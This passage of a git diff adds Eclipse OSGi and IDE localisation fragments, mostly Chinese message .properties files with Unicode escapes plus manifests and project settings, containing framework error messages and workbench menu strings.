+BUNDLE_INSTALL_SAME_UNIQUEID=\u5df2\u4ece {2} \u4e2d\u5b89\u88c5\u4e86\u675f \'{0}\' \u7248\u672c \'{1}\' +BUNDLE_UNINSTALLED_EXCEPTION=\u5df2\u5220\u9664\u675f \'{0}\' +BUNDLE_CONTEXT_INVALID_EXCEPTION=\u675f\u4e0a\u4e0b\u6587\u4e0d\u518d\u6709\u6548 +BUNDLE_STATE_CHANGE_EXCEPTION=\u7ebf\u7a0b \'{1}\' \u5904\u7406\u675f \'{0}\' \u53d1\u751f\u6539\u53d8\u3002 +BUNDLE_REFRESH_FAILURE=PackageAdmin\u3002\u65e0\u6cd5\u5b8c\u6210\u8f6f\u4ef6\u5305\u5237\u65b0 +BUNDLE_ACTIVATOR_EXCEPTION={0} \u4e2d\u7684\u610f\u5916\u3002\u675f {2} \u4e2d\u7684 {1}() +BUNDLE_INVALID_ACTIVATOR_EXCEPTION=\u675f {1} \u7684\u6fc0\u6d3b\u7a0b\u5e8f {0} \u65e0\u6548 +BUNDLE_UNRESOLVED_STATE_CONFLICT=\u58f0\u660e\u663e\u793a\u675f\u5df2\u88ab\u89e3\u6790 +BUNDLE_SYSTEMBUNDLE_UNINSTALL_EXCEPTION=\u65e0\u6cd5\u5378\u8f7d\u7cfb\u7edf\u675f +BUNDLE_READ_EXCEPTION=\u8bd5\u56fe\u8bfb\u53d6\u675f\u65f6\u51fa\u9519 +BUNDLE_NO_CLASSPATH_MATCH=\u675f\u7c7b\u8def\u5f84\u6ca1\u6709\u4efb\u4f55\u5339\u914d\u7684\u6761\u76ee +BUNDLE_NOT_IN_FRAMEWORK=\u675f\u5728\u6846\u67b6\u4e2d\u4e0d\u5b58\u5728\uff1a{0} +BUNDLE_LOADER_ATTACHMENT_ERROR=\u65e0\u6cd5\u5c06\u7247\u6bb5\u675f \'{0}\' \u9644\u52a0\u5230\u89e3\u6790\u7684\u4e3b\u673a \'{1}\' \u4e2d\u3002\u8bf7\u5c1d\u8bd5\u5237\u65b0\u4e3b\u673a\u675f\u3002 +BUNDLE_FRAGMENT_CNFE=\u7247\u6bb5\u675f\u65e0\u6cd5\u8f7d\u5165\u7ea7\u522b\uff1a{0} +BUNDLE_FRAGMENT_START=\u65e0\u6cd5\u542f\u52a8\u7247\u6bb5\u675f\uff1a{0} +BUNDLE_FRAGMENT_STOP=\u65e0\u6cd5\u505c\u6b62\u7247\u6bb5\u675f\uff1a{0} +BUNDLE_TRANSIENT_START_ERROR=\u65e0\u6cd5\u8fbe\u5230\u675f\u7684\u542f\u52a8\u7ea7\u522b\u3002\u65e0\u6cd5\u77ac\u65f6\u542f\u52a8\u675f\uff1a{0} +BUNDLE_EXTENSION_PERMISSION=\u5fc5\u987b\u4e3a\u6269\u5c55\u675f\u5206\u914d\u6240\u6709\u6743\u9650\u3002 +BUNDLE_CNFE_NOT_RESOLVED=\u65e0\u6cd5\u8f7d\u5165 \'{0}'\ \u56e0\u4e3a\u65e0\u6cd5\u89e3\u6790\u675f \'{1}'\ \u3002 +MANIFEST_INVALID_SPACE=\u6e05\u5355\u884c \'{0}\' \u542b\u6709\u65e0\u6548\u5370\u5237\u7a7a\u683c "" \u5b57\u7b26\u3002 +MANIFEST_INVALID_LINE_NOCOLON=\u6e05\u5355\u884c \'{0}\' \u65e0\u6548\u3002\u56e0\u4e3a\u5b83\u5728\u6807\u9898\u5173\u952e\u5b57\u540e\u6ca1\u6709\u5192\u53f7\u201c\uff1a\u201d\u3002 +MANIFEST_INVALID_HEADER_EXCEPTION=\u65e0\u6548\u6e05\u5355\u6807\u9898 {0}: \'{1}\' +MANIFEST_IOEXCEPTION=\u8bfb\u53d6\u6e05\u5355\u6587\u4ef6\u65f6\u51fa\u9519\u3002 +SERVICE_FACTORY_EXCEPTION={0} \u4e2d\u7684\u4f8b\u5916\u3002{1}() +SERVICE_NOT_INSTANCEOF_CLASS_EXCEPTION=\u670d\u52a1\u5bf9\u8c61\u4e0d\u662f\u670d\u52a1\u7ea7\u522b {0} \u4e2d\u7684\u4e8b\u4ef6\u3002 +SERVICE_FACTORY_NOT_INSTANCEOF_CLASS_EXCEPTION={0}.getService() \u8fd4\u56de\u7684\u670d\u52a1\u5bf9\u8c61\u4e0d\u662f\u670d\u52a1\u7b49\u7ea7 {1} \u7684\u4e8b\u4ef6 +SERVICE_OBJECT_NULL_EXCEPTION={0}.getService() \u8fd4\u56de\u7a7a\u670d\u52a1\u5bf9\u8c61\u3002 +SERVICE_ARGUMENT_NULL_EXCEPTION=\u670d\u52a1\u53c2\u6570\u4e3a\u7a7a +SERVICE_ALREADY_UNREGISTERED_EXCEPTION=\u670d\u52a1\u672a\u88ab\u6ce8\u518c\u3002 +SERVICE_EMPTY_CLASS_LIST_EXCEPTION=\u670d\u52a1\u540d\u9635\u5217\u4e3a\u7a7a +HEADER_DUPLICATE_KEY_EXCEPTION=\u5173\u952e\u5b57 \'{0}\' \u5df2\u5728\u53e6\u4e00\u4e2a\u4e8b\u4ef6\u53d8\u91cf\u4e2d\u5b58\u5728 +FILTER_TERMINATED_ABRUBTLY=\u7a81\u7136\u7ec8\u6b62\u8fc7\u6ee4\u5668 +STARTLEVEL_EXCEPTION_INVALID_REQUESTED_STARTLEVEL={0} \u7684\u8981\u6c42\u542f\u52a8\u7b49\u7ea7\u662f\u65e0\u6548\u7684\u3002\u6570\u503c\u5fc5\u987b\u662f\u6b63\u6574\u6570\u3002 +STARTLEVEL_CANT_CHANGE_SYSTEMBUNDLE_STARTLEVEL=\u65e0\u6cd5\u4fee\u6539\u7cfb\u7edf\u675f\u542f\u52a8\u7ea7\u522b\u3002 +CANNOT_SET_CONTEXTFINDER=\u6ca1\u6709\u5b89\u88c5 context finder\u3002 +URL_HANDLER_INCORRECT_TYPE=\u675f '{2}' \u6ce8\u518c\u7684\u670d\u52a1 '{1}' \u7684\u670d\u52a1\u5c5e\u6027 '{0}' \u662f\u9519\u8bef\u7684\u7c7b\u578b\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/baseadaptor/ExternalMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/baseadaptor/ExternalMessages_zh.properties new file mode 100644 index 0000000..2047224 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/baseadaptor/ExternalMessages_zh.properties @@ -0,0 +1,19 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +ADAPTOR_STORAGE_EXCEPTION=FrameworkAdaptor \u5bf9\u8c61\u65e0\u6cd5\u6267\u884c\u8be5\u64cd\u4f5c +ADAPTOR_URL_CREATE_EXCEPTION=\'{0}'\\u662f\u65e0\u6548\u7684URL\u5730\u5740 +ADAPTOR_DIRECTORY_CREATE_EXCEPTION=\u4e0d\u80fd\u521b\u5efa\u6587\u4ef6\u5939\'{0}'\ +ADAPTOR_DIRECTORY_EXCEPTION=\'{0}'\\u4e0d\u662f\u6587\u4ef6\u5939 +ADAPTER_FILEEXIST_EXCEPTION=\'{0}'\\u6587\u4ef6\u4e0d\u5b58\u5728 +ADAPTOR_EXTENSION_NATIVECODE_ERROR=\u6269\u5c55\u675f\u7247\u6bb5\u65e0\u6cd5\u6307\u5b9a Bundle-NativeCode \u6807\u9898\uff1a{0} +ADAPTOR_EXTENSION_REQUIRE_ERROR=\u6269\u5c55\u675f\u7247\u6bb5\u65e0\u6cd5\u6307\u5b9a Require-Bundle \u6807\u9898\uff1a{0} +ADAPTOR_EXTENSION_IMPORT_ERROR=\u6269\u5c55\u675f\u5b57\u6bb5\u65e0\u6cd5\u6307\u5b9a Import-Package \u6807\u9898\uff1a{0} +SYSTEMBUNDLE_MISSING_MANIFEST=\u627e\u4e0d\u5230\u7cfb\u7edf\u675f\u6e05\u5355\u6587\u4ef6\u3002 +SYSTEMBUNDLE_NOTRESOLVED=\u65e0\u6cd5\u89e3\u6790\u7cfb\u7edf\u675f\uff1a{0} +BUNDLE_READ_EXCEPTION=\u8bd5\u56fe\u8bfb\u53d6\u675f\u65f6\u51fa\u9519 +BUNDLE_NATIVECODE_EXCEPTION=\u627e\u4e0d\u5230 Bundle-NativeCode \u6587\u4ef6 {0} +BUNDLE_CLASSPATH_ENTRY_NOT_FOUND_EXCEPTION=\u627e\u4e0d\u5230\u8d44\u6e90\'{1}'\\u7684\u7c7b\u8def\u5f84'\{0}\' +MANIFEST_NOT_FOUND_EXCEPTION=\u5728\u675f {1} \u4e2d\u627e\u4e0d\u5230\u6e05\u5355\u6587\u4ef6 {0} +RESOURCE_NOT_FOUND_EXCEPTION=The resource {0} could not be foundURL_NO_BUNDLE_ID=No bundle ID specified\uff1a{0} +URL_NO_BUNDLE_ID=\u627e\u4e0d\u5230\u4efb\u4f55\u675f\u6807\u8bc6\uff1a{0} +URL_INVALID_BUNDLE_ID=\u6307\u5b9a\u7684\u675f ID \u65e0\u6548\uff1a{0} +URL_NO_BUNDLE_FOUND=\u627e\u4e0d\u5230 URL {0} \u7684\u4efb\u4f55\u675f \ No newline at end of file diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/resolver/StateMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/resolver/StateMessages_zh.properties new file mode 100644 index 0000000..1d09b16 --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/resolver/StateMessages_zh.properties @@ -0,0 +1,22 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +BUNDLE_NOT_IN_STATE=\u675f\u7684\u72b6\u6001\u4e0d\u662f {0} +BUNDLE_IN_OTHER_STATE=\u675f\u5c5e\u4e8e\u5176\u4ed6\u72b6\u6001\uff1a{0} +BUNDLE_PENDING_REMOVE_STATE=\u675f\u5c06\u6682\u6302\u5904\u4e8e\u5176\u4ed6\u72b6\u6001 {0} \u7684\u9664\u53bb +HEADER_REQUIRED=\u5fc5\u987b\u6307\u5b9a\u201c{0}\u201d\u5934 +HEADER_PACKAGE_DUPLICATES=\u4e0d\u5141\u8bb8\u91cd\u590d\u7684\u5305\u5bfc\u5165\uff0f\u5bfc\u51fa +HEADER_PACKAGE_JAVA=\u4e0d\u80fd\u5728\u5bfc\u5165\uff0f\u5bfc\u51fa\u5934\u4e2d\u6307\u5b9a java.* \u5305 +HEADER_VERSION_ERROR=\u5c5e\u6027\u201c{0}\u201d\u548c\u201c{1}\u201d\u5fc5\u987b\u5339\u914d +HEADER_EXPORT_ATTR_ERROR=\u5728\'{0}'\\u5934\u4e2d\u4e0d\u5141\u8bb8\u6307\u5b9a\'{0}'\ +HEADER_DIRECTIVE_DUPLICATES=\u4e0d\u5141\u8bb8\u91cd\u590d\u7684\u6307\u4ee4 +HEADER_ATTRIBUTE_DUPLICATES=\u4e0d\u5141\u8bb8\u91cd\u590d\u7684\u53c2\u6570 +HEADER_EXTENSION_ERROR=\u6269\u5c55\u5305\u4e0d\u662f\u4e00\u4e2a\u7cfb\u7edf\u5305\'{0}'\\u7247\u6bb5 +RES_ERROR_DISABLEDBUNDLE=\u675f\u5df2\u88ab\u7981\u7528\uff1a{0} +RES_ERROR_MISSING_PERMISSION=\u7f3a\u5c11\u6743\u9650\uff1a{0} +RES_ERROR_MISSING_CONSTRAINT=\u7f3a\u5c11\u7ea6\u675f\uff1a{0} +RES_ERROR_FRAGMENT_CONFLICT=\u6bb5\u4e2d\u7684\u7ea6\u675f\u4e0e\u4e3b\u673a\u51b2\u7a81\uff1a{0} +RES_ERROR_USES_CONFLICT=\u5305\u4f7f\u7528\u51b2\u7a81\uff1a{0} +RES_ERROR_SINGLETON_CONFLICT=\u5df2\u9009\u62e9\u5176\u4ed6\u5355\u4e2a\u7248\u672c\uff1a{0} +RES_ERROR_PLATFORM_FILTER=\u5e73\u53f0\u8fc7\u6ee4\u5668\u4e0d\u5339\u914d\uff1a{0} +RES_ERROR_NO_NATIVECODE_MATCH=\u627e\u4e0d\u5230\u672c\u5730\u4ee3\u7801\u7684\u4efb\u4f55\u5339\u914d\u9879\uff1a{0} +RES_ERROR_NATIVECODE_PATH_INVALID=\u627e\u4e0d\u5230\u672c\u5730\u4ee3\u7801\u8def\u5f84\uff1a{0} +RES_ERROR_UNKNOWN=\u672a\u77e5\u7684\u89e3\u6790\u9519\u8bef \ No newline at end of file diff --git a/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/signedcontent/SignedContentMessages_zh.properties b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/signedcontent/SignedContentMessages_zh.properties new file mode 100644 index 0000000..bfcca0d --- /dev/null +++ b/i18n/org.eclipse.osgi.nl_zh/src/org/eclipse/osgi/internal/signedcontent/SignedContentMessages_zh.properties @@ -0,0 +1,14 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +file_is_removed_from_jar=\u5df2\u4ece\u4e0b\u5217 jar \u4e2d\u9664\u53bb\u6587\u4ef6\u201c{0}\u201d\uff1a{1} +File_In_Jar_Is_Tampered=jar\u201c{1}\u201d\u4e2d\u7684\u6587\u4ef6\u201c{0}\u201d\u5df2\u88ab\u7be1\u6539\uff01 +Security_File_Is_Tampered=\u4e0b\u5217 jar \u4e2d\u7684\u6e05\u5355\u6587\u4ef6\u6216\u7279\u5f81\u7b26\u6587\u4ef6\u5df2\u88ab\u7be1\u6539\uff1a{0} +Signature_Not_Verify=\u65e0\u6cd5\u9a8c\u8bc1\u6b64 jar \u4e2d\u7b7e\u540d\u4eba\u201c{0}\u201d\u7684\u7b7e\u540d\uff1a{1} +SF_File_Parsing_Error=\u89e3\u6790 .SF \u6587\u4ef6\u4ee5\u4e86\u89e3\u4e0b\u5217\u675f\u4e2d\u7684\u6458\u8981\u7b97\u6cd5\u65f6\u51fa\u9519\uff1a{0} +PKCS7_Invalid_File=\u6587\u4ef6\u201c{0}\u201d\u5728\u4e0b\u5217 jar \u4e2d\u4e0d\u662f\u6709\u6548 PKCS7 \u6587\u4ef6\uff1a{1} +PKCS7_Parse_Signing_Time=\u65e0\u6cd5\u6b63\u786e\u89e3\u6790 pkcs7 \u6587\u4ef6\u4e2d\u7684\u65f6\u95f4\u6233\u8bb0\uff01 +Algorithm_Not_Supported=\u4e0d\u652f\u6301 {0} \u6458\u8981\u7b97\u6cd5\uff01 +Default_Trust_Keystore_Load_Failed=\u65e0\u6cd5\u4ece\u4e0b\u5217\u4f4d\u7f6e\u88c5\u5165\u5bc6\u94a5\u5e93\uff1a{0} +Default_Trust_Read_Only=\u6b64\u4fe1\u4efb\u5f15\u64ce\u662f\u53ea\u8bfb\u7684\u3002 +Default_Trust_Cert_Not_Found=\u627e\u4e0d\u5230\u8bc1\u4e66\u3002 +Default_Trust_Existing_Cert=\u5e93\u4e2d\u5df2\u5b58\u5728\u8bc1\u4e66\u3002 +Default_Trust_Existing_Alias=\u6b64\u522b\u540d\u5df2\u6709\u8bc1\u4e66\u5b58\u5728\u3002 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_en/.classpath b/i18n/org.eclipse.ui.ide.nl_en/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ui.ide.nl_en/.project b/i18n/org.eclipse.ui.ide.nl_en/.project new file mode 100644 index 0000000..010c7ed --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ui.ide.nl_en + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ui.ide.nl_en/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ui.ide.nl_en/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ui.ide.nl_en/META-INF/MANIFEST.MF b/i18n/org.eclipse.ui.ide.nl_en/META-INF/MANIFEST.MF new file mode 100644 index 0000000..8be1968 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ui.ide +Bundle-SymbolicName: org.eclipse.ui.ide.nl_en; singleton=true +Bundle-Version: 8.0.3.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ui.ide +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ui.ide.nl_en/build.properties b/i18n/org.eclipse.ui.ide.nl_en/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/ide/messages_en.properties b/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/ide/messages_en.properties new file mode 100644 index 0000000..4ad6ed6 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/ide/messages_en.properties @@ -0,0 +1,3 @@ +# 2013-04-16 \u4fee\u6539 +DeleteResourceAction_deleteContents1 = When deleting the project, the following folder will also be deleted:\n{0} +DeleteResourceAction_deleteContentsDetails = Please be carefule, the action cannot undo. diff --git a/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/wizards/datatransfer/messages_en.properties b/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/wizards/datatransfer/messages_en.properties new file mode 100644 index 0000000..ce77d4e --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_en/src/org/eclipse/ui/internal/wizards/datatransfer/messages_en.properties @@ -0,0 +1,7 @@ +DataTransfer_importTitle = Import +FileExport_selectDestinationMessage=Select a directory to export to. +FileExport_noneSelected = There are no resources currently selected for export. +FileExport_directoryExists = Target directory already exists as a file. +FileExport_conflictingContainer = Destination directory conflicts with location of {0}. +ArchiveExport_destinationLabel = Save as: +ArchiveExport_destinationEmpty = Please enter the files to export and choose a destination for the archive file. diff --git a/i18n/org.eclipse.ui.ide.nl_zh/.classpath b/i18n/org.eclipse.ui.ide.nl_zh/.classpath new file mode 100644 index 0000000..8727917 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/.classpath @@ -0,0 +1,6 @@ + + + + + + diff --git a/i18n/org.eclipse.ui.ide.nl_zh/.project b/i18n/org.eclipse.ui.ide.nl_zh/.project new file mode 100644 index 0000000..1fcd552 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/.project @@ -0,0 +1,28 @@ + + + org.eclipse.ui.ide.nl_zh + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/i18n/org.eclipse.ui.ide.nl_zh/.settings/org.eclipse.jdt.core.prefs b/i18n/org.eclipse.ui.ide.nl_zh/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/i18n/org.eclipse.ui.ide.nl_zh/META-INF/MANIFEST.MF b/i18n/org.eclipse.ui.ide.nl_zh/META-INF/MANIFEST.MF new file mode 100644 index 0000000..ca74bd6 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/META-INF/MANIFEST.MF @@ -0,0 +1,7 @@ +Manifest-Version: 1.0 +Bundle-Name: org.eclipse.ui.ide Chinese (Simplified) NLS Support +Bundle-SymbolicName: org.eclipse.ui.ide.nl_zh ;singleton=true +Bundle-Version: 8.0.3.R8b_v20130906 +Bundle-Vendor: Eclipse.org +Fragment-Host: org.eclipse.ui.ide +Bundle-RequiredExecutionEnvironment: J2SE-1.5 diff --git a/i18n/org.eclipse.ui.ide.nl_zh/build.properties b/i18n/org.eclipse.ui.ide.nl_zh/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/filesystem/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/filesystem/messages_zh.properties new file mode 100644 index 0000000..c7ad331 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/filesystem/messages_zh.properties @@ -0,0 +1,2 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +DefaultFileSystem_name=\u9ed8\u8ba4 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/messages_zh.properties new file mode 100644 index 0000000..6696ff4 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/ide/messages_zh.properties @@ -0,0 +1,658 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +IDEWorkbenchAdvisor_noPerspective=\u672a\u6253\u5f00\u900f\u89c6\u56fe\u3002\u8981\u6253\u5f00\u900f\u89c6\u56fe\uff0c\u6309\u6b64\u6309\u94ae\uff1a +IDEWorkbenchAdvisor_preHistoryCompaction=\u4fdd\u5b58\u5de5\u4f5c\u53f0\u72b6\u6001 +IDEWorkbenchAdvisor_postHistoryCompaction=\u4ece\u5de5\u4f5c\u7a7a\u95f4\u65ad\u5f00 +IDE_noFileEditorFound=\u627e\u4e0d\u5230\u7528\u6765\u7f16\u8f91\u6587\u4ef6\u8d44\u6e90\u7684\u7f16\u8f91\u5668\u3002 +IDE_sideEffectWarning=\u5df2\u6807\u8bc6\u4e86\u6f5c\u5728\u7684\u526f\u4f5c\u7528\u3002 +IDE_coreExceptionFileStore=\u6253\u5f00 URI \u4e0a\u7684\u6587\u4ef6\u5b58\u50a8\u65f6\u53d1\u751f CoreException\u3002 +QuickStartAction_errorDialogTitle=\u5feb\u901f\u542f\u52a8\u9519\u8bef +QuickStartAction_infoReadError=\u672a\u80fd\u8bfb\u53d6\u529f\u80fd\u90e8\u4ef6\u7684\u4fe1\u606f\u3002 +ConfigurationLogUpdateSection_installConfiguration=\u5b89\u88c5\u914d\u7f6e\uff1a +ConfigurationLogUpdateSection_lastChangedOn=\u4e0a\u6b21\u66f4\u6539\u4e8e {0} +ConfigurationLogUpdateSection_location=\u4f4d\u7f6e\uff1a{0} +ErrorClosing=\u5173\u95ed\u5de5\u4f5c\u53f0\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +ErrorOnSaveAll=\u4fdd\u5b58\u6240\u6709\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002\u8bf7\u53c2\u9605\u9519\u8bef\u65e5\u5fd7\u4ee5\u4e86\u89e3\u66f4\u591a\u8be6\u7ec6\u4fe1\u606f\u3002 +IDEIdleHelper_backgroundGC=\u6b63\u5728\u8fdb\u884c\u5783\u573e\u56de\u6536 +showAdvanced=\u9ad8\u7ea7(&A) >> +hideAdvanced=<< \u9ad8\u7ea7(&A) +useDefaultLocation=\u4f7f\u7528\u7f3a\u7701\u4f4d\u7f6e(&D) +Workbench_file=\u6587\u4ef6(&F) +Workbench_new=\u65b0\u5efa(&N) +OpenWorkspaceAction_text=\u5207\u6362\u5de5\u4f5c\u7a7a\u95f4(&W) +OpenWorkspaceAction_toolTip=\u6253\u5f00\u5de5\u4f5c\u7a7a\u95f4 +OpenWorkspaceAction_errorTitle=\u7f3a\u5c11\u7cfb\u7edf\u5c5e\u6027 +OpenWorkspaceAction_errorMessage=\u65e0\u6cd5\u91cd\u65b0\u542f\u52a8\u5e73\u53f0\uff0c\u539f\u56e0\u662f\u5c1a\u672a\u8bbe\u7f6e {0} \u5c5e\u6027\u3002 +OpenWorkspaceAction_other=\u5176\u4ed6(&O)... +NewProjectAction_text=\u9879\u76ee(&R)... +NewProjectAction_toolTip=\u65b0\u5efa\u9879\u76ee +NewExampleAction_text=\u793a\u4f8b(&X)... +NewExampleAction_toolTip=\u65b0\u5efa\u793a\u4f8b +SaveAsDialog_title=\u53e6\u5b58\u4e3a +SaveAsDialog_message=\u5c06\u6587\u4ef6\u4fdd\u5b58\u81f3\u53e6\u4e00\u4f4d\u7f6e\u3002 +SaveAsDialog_text=\u53e6\u5b58\u4e3a +SaveAsDialog_fileLabel=\u6587\u4ef6\u540d(&F)\uff1a +SaveAsDialog_file=\u6587\u4ef6 +SaveAsDialog_overwriteQuestion=\u6587\u4ef6\u201c{0}\u201d\u5df2\u5b58\u5728\u3002\u8981\u66ff\u6362\u73b0\u6709\u6587\u4ef6\u5417\uff1f +SaveAsDialog_closedProjectMessage=\u6240\u9009\u9879\u76ee\u5df2\u5173\u95ed\u3002 +Workbench_projectProperties=\u5c5e\u6027(&P) +Workbench_projectPropertiesToolTip=\u5c5e\u6027 +Workbench_edit=\u7f16\u8f91(&E) +Workbench_addBookmark=\u6dfb\u52a0\u4e66\u7b7e(&K)... +Workbench_addBookmarkToolTip=\u6dfb\u52a0\u4e66\u7b7e +Workbench_addTask=\u6dfb\u52a0\u4efb\u52a1(&S)... +Workbench_addTaskToolTip=\u6dfb\u52a0\u4efb\u52a1 +Workbench_navigate=\u6d4f\u89c8(&N) +Workbench_goTo=\u8f6c\u81f3(&G) +Workbench_showIn=\u663e\u793a\u4f4d\u7f6e(&W) +Workbench_project=\u9879\u76ee(&P) +Workbench_buildProject=\u6784\u5efa\u9879\u76ee(&B) +Workbench_buildProjectToolTip=\u6784\u5efa\u9879\u76ee +Workbench_rebuildProject=\u91cd\u5efa\u9879\u76ee(&R) +Workbench_rebuildProjectToolTip=\u91cd\u5efa\u9879\u76ee +Workbench_buildClean=\u6e05\u7406(&N)... +Workbench_buildSet=\u6784\u5efa\u5de5\u4f5c\u96c6(&W) +Workbench_buildAutomatically=\u81ea\u52a8\u6784\u5efa(&M) +GlobalBuildAction_text=\u5168\u90e8\u6784\u5efa(&A) +GlobalBuildAction_toolTip=\u5168\u90e8\u6784\u5efa +GlobalBuildAction_rebuildText=\u5168\u90e8\u91cd\u5efa(&L) +GlobalBuildAction_rebuildToolTip=\u5168\u90e8\u91cd\u5efa +GlobalBuildAction_buildProblems=\u6784\u5efa\u95ee\u9898 +GlobalBuildAction_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +GlobalBuildAction_buildOperationTitle=\u6b63\u5728\u5168\u90e8\u6784\u5efa... +GlobalBuildAction_rebuildAllOperationTitle=\u6b63\u5728\u91cd\u5efa\u5168\u90e8... +GlobalBuildAction_jobTitle=\u6784\u5efa\u5de5\u4f5c\u7a7a\u95f4 +GlobalBuildAction_BuildRunningTitle=\u6b63\u5728\u8fd0\u884c\u6784\u5efa +GlobalBuildAction_BuildRunningMessage=\u6784\u5efa\u5f53\u524d\u6b63\u5728\u8fd0\u884c\u3002\u60f3\u8981\u53d6\u6d88\u5b83\u5417\uff1f +BuildSetAction_noProjects=\u9009\u62e9\u7684\u5de5\u4f5c\u96c6\u4e0d\u5305\u542b\u53ef\u4ee5\u6784\u5efa\u7684\u9879\u76ee\u3002 +BuildSetAction_noBuildTitle=\u6ca1\u6709\u8981\u6784\u5efa\u7684\u5185\u5bb9 +Workbench_window=\u7a97\u53e3(&W) +Workbench_openPerspective=\u6253\u5f00\u900f\u89c6\u56fe(&O) +Workbench_showView=\u663e\u793a\u89c6\u56fe(&V) +PromptOnExitDialog_shellTitle=\u786e\u8ba4\u9000\u51fa +PromptOnExitDialog_message0=\u8981\u9000\u51fa\u5e94\u7528\u7a0b\u5e8f\u5417\uff1f +PromptOnExitDialog_message1=\u8981\u9000\u51fa {0} \u5417\uff1f +PromptOnExitDialog_choice=\u59cb\u7ec8\u5728\u9000\u51fa\u65f6\u4e0d\u53d1\u51fa\u63d0\u793a(&A) +Workbench_shortcuts=\u5bfc\u822a(&G) +Workbench_openNewWindow=\u65b0\u5efa\u7a97\u53e3(&N) 